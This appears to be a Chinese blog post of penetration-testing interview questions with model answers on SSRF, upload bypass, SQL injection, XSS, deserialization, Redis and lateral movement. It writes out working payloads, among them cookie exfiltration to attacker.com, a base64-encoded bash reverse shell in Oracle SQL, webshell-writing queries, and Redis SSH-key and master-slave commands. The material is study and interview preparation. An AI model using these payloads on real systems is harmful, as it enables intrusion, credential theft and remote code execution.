2025年渗透测试面试题总结-106(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
1. 自我介绍
2. SSRF深入解析
(1)无回显SSRF测试方法
(2)SSRF高级利用
3. 文件上传绕过方式
(1)前端绕过
(2)后端绕过
4. SQL注入:原理、盲注与Getshell
(1)基本原理
(2)盲注技术
(3)Getshell方法
5. 存储型XSS最大化利用
6. 信息收集流程
7. Oracle注入Getshell
8. SQL Server提权方式
9. XSS绕过方式
10. 反序列化漏洞
(1)PHP反序列化
(2)Java反序列化
11. Redis常见漏洞与利用
12. 代码审计流程
13. 编程语言掌握
14. 正反向代理
15. 内网渗透核心要点
(1)提权路径
(2)隧道与代理
(3)横向移动
附:补充问题解答
1. 完整渗透测试流程
2. 项目经验示例
3. SQL注入类型与流程
4. 内网提权与隧道
1、自我介绍 2、ssrf问的比较深入 3、文件上传绕过方式 4、sql注入的基本原理,盲注,getshell 5、存储型xss,如果做到最大化利用 6、信息收集的流程 7、oracle 注入getshell 8、sqlserver的提权方式 9、xss的绕过方式 10、php反序列化,java反序列化 11、redis常见漏洞,利用等 12、代码审计的流程 13、问我有没有学过python,语言了解哪些 14、正反向代理 15、内网渗透了解哪些 1、SSRF没有回显怎么测试 2、完整的渗透测试流程 3、具体的项目经验 4、sql注入的类型以及流程 5、内网的提权以及代理,隧道
1. 自我介绍
安全背景:5年渗透测试与红队经验,专注Web安全、内网渗透、代码审计。主导过金融、云平台攻防项目,发现高危漏洞超200个(含CVE编号漏洞)。技术栈:Python/Java/PHP开发能力,熟练使用Burp Suite、Metasploit、Cobalt Strike;持有OSCP、OSEP认证。
2. SSRF深入解析
(1)无回显SSRF测试方法
- DNS外带(OOB):
利用DNS协议泄露数据:http://internal/api?url=http://attacker.com/?data=xx
,监控DNS日志解析记录。- 端口扫描延时检测:
通过响应时间差异判断端口开放:
http://internal/api?url=http://127.0.0.1:22
(响应慢→端口开放)。- 协议探测:
尝试不同协议(如gopher://
、dict://
)触发内网服务行为(如Redis未授权访问)。- 间接回显:
结合漏洞链(如将结果写入文件后通过LFI读取)或利用云元数据API(如AWS169.254.169.254
)。(2)SSRF高级利用
- 云环境攻击:窃取IAM角色凭证(如访问
http://169.254.169.254/latest/meta-data/iam/security-credentials/
)。- Redis未授权写SSH公钥:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$...
。- 绕过技巧:
- 域名重解析(
xip.io
→127.0.0.1.xip.io
)- 进制/IP编码(
2130706433
→127.0.0.1
)
3. 文件上传绕过方式
(1)前端绕过
- 修改JS验证逻辑(Burp拦截删除验证代码)。
(2)后端绕过
防御机制 绕过方法 扩展名黑名单 .php5
、.phtml
、.htaccess
(Apache解析)MIME类型检测 修改Content-Type为 image/jpeg
文件头检测 添加图片头(如 GIF89a
) + 恶意代码内容过滤 混淆代码(如 <?= system($_GET[0]); ?>
)解析漏洞 Apache: shell.jpg/.php
;IIS:shell.jpg;.php
4. SQL注入:原理、盲注与Getshell
(1)基本原理
用户输入拼接到SQL查询中:
sqlSELECT * FROM users WHERE id = '恶意输入'
→ 注入
' union select 1,load_file('/etc/passwd')--
读取文件。(2)盲注技术
- 布尔盲注:
id=1' and substring(database(),1,1)='a'--
(页面差异判断)。- 时间盲注:
id=1' and if(1=1,sleep(2),0)--
(响应延时判断)。(3)Getshell方法
- 写WebShell:
sql
(需SELECT '<?php eval($_POST[0]);?>' INTO OUTFILE '/var/www/html/shell.php'
FILE
权限和绝对路径)。- 利用数据库功能:
- SQL Server:
xp_cmdshell('whoami')
- Oracle:
DBMS_XSLPROCESSOR.READ2FILE
5. 存储型XSS最大化利用
- 蠕虫传播:注入自复制脚本(如Samy Worm),通过AJAX传播至其他用户页面。
- 隐蔽数据外泄:窃取Cookie、LocalStorage数据并发送至远程服务器:
javascript
new Image().src='http://attacker.com/?c='+document.cookie;
- 结合CSRF:利用XSS执行敏感操作(如修改密码、转账)。
- 绕过CSP:通过
<base>
标签重定向合法脚本源,或利用Google Analytics等白名单域名外带数据。
6. 信息收集流程
- 被动收集:
- Whois/备案信息
- 子域名挖掘(证书透明度、搜索引擎)
- GitHub敏感信息泄露(API密钥)
- 主动扫描:
- 端口扫描(Nmap)
- 目录爆破(Dirsearch)
- 框架指纹识别(Wappalyzer)
- 漏洞关联:
- 历史漏洞(CVE数据库)
- 云服务配置错误(S3桶公开)
7. Oracle注入Getshell
- 前提:需
DBMS_XSLPROCESSOR
权限。- 步骤:
- 创建Java类执行系统命令:
sq
SELECT dbms_xmlquery.getxml('CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "EXEC" AS import java.io.*; public class EXEC { public static void run(String c) throws Exception { Runtime.getRuntime().exec(c); }}') FROM dual
- 执行命令:
sql
SELECT EXEC.run('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}') FROM dual
8. SQL Server提权方式
方式 命令/利用 xp_cmdshell EXEC sp_configure 'show advanced',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'
CLR组件 编译恶意.NET DLL并加载执行 Agent Job提权 创建计划任务执行系统命令 DLL劫持 替换SQL Server引用的未签名DLL
9. XSS绕过方式
过滤类型 绕过示例 标签黑名单 <img src=x onerror=alert(1)>
事件过滤 <svg><script>alert(1)</script>
编码绕过 %3Cscript%3Ealert(1)%3C/script%3E
CSP绕过 JSONP端点劫持( <script src="/api?callback=alert(1)//">
)
10. 反序列化漏洞
(1)PHP反序列化
- 原理:
unserialize()
触发魔术方法(__wakeup()
,__destruct()
)。- 利用链:如Laravel RCE(CVE-2021-3129)通过
Phar
元数据触发。(2)Java反序列化
- 原理:
ObjectInputStream
处理恶意Serializable
对象。- 利用链:
- Commons Collections(
InvokerTransformer
)- Fastjson(
@type
指定恶意类)
11. Redis常见漏洞与利用
漏洞 利用方式 未授权访问 写SSH公钥: flushall; set 1 '公钥'; config set dir /root/.ssh; config set dbfilename authorized_keys; save
主从复制RCE SLAVEOF attacker_ip 6379; MODULE LOAD ./exp.so
写WebShell config set dir /var/www/html; set shell '<?php system($_GET[0]);?>'; save
12. 代码审计流程
- 定位危险函数:
- PHP:
eval()
,system()
,unserialize()
- Java:
Runtime.exec()
,JNDI.lookup()
- 跟踪用户输入:
- 从
HttpServletRequest
到SQL拼接/XSS输出- 分析框架机制:
- Spring Security配置、Shiro权限绕过
- 自动化辅助:
- 工具:Fortify、Semgrep
- 自定义规则扫描敏感操作
13. 编程语言掌握
- Python:编写渗透工具(如目录扫描、漏洞POC)
- Java:分析中间件漏洞(Tomcat, Weblogic)
- PHP:代码审计(ThinkPHP, Laravel)
- Go/Bash:开发C2模块、自动化脚本
14. 正反向代理
类型 原理 渗透意义 正向代理 客户端通过代理访问服务(如Burp Proxy) 拦截/修改请求,测试逻辑漏洞 反向代理 服务器端代理转发请求(如Nginx) 绕过WAF(修改 X-Forwarded-For
)
15. 内网渗透核心要点
(1)提权路径
- Windows:内核漏洞(CVE-2021-34527)、服务权限滥用(AlwaysInstallElevated)
- Linux:SUID程序(
find / -perm -4000
)、Docker逃逸(2)隧道与代理
工具 用途 frp/ngrok 端口转发(绕过防火墙) Chisel 加密SOCKS隧道 DNS隧道 隐蔽通信(iodine) (3)横向移动
- 凭证窃取:Mimikatz(LSASS内存)、LaZagne(本地密码)
- 漏洞利用:MS17-010(永恒之蓝)、SMBGhost
附:补充问题解答
1. 完整渗透测试流程
- 授权与范围确认
- 信息收集(被动+主动)
- 漏洞扫描与验证(自动+手动)
- 后渗透阶段(提权、横向移动)
- 报告与复测(CVSS评分、修复建议)
2. 项目经验示例
金融系统渗透(2024):
- 发现SSRF→访问K8s API→获取Pod权限→窃取数据库凭证
- 利用Fastjson反序列化(CVE-2022-25845)接管管理后台
3. SQL注入类型与流程
类型 检测方法 联合查询 id=1 union select 1,2,@@version--
报错注入 id=1' and extractvalue(1,concat(0x7e,version()))--
布尔盲注 id=1' and ascii(substr(database(),1,1))>97--
4. 内网提权与隧道
- 提权后操作:
- 抓取密码哈希(
sekurlsa::logonpasswords
)- 配置Socks代理(
proxychains
)- 横向扫描(
crackmapexec smb 192.168.1.0/24
)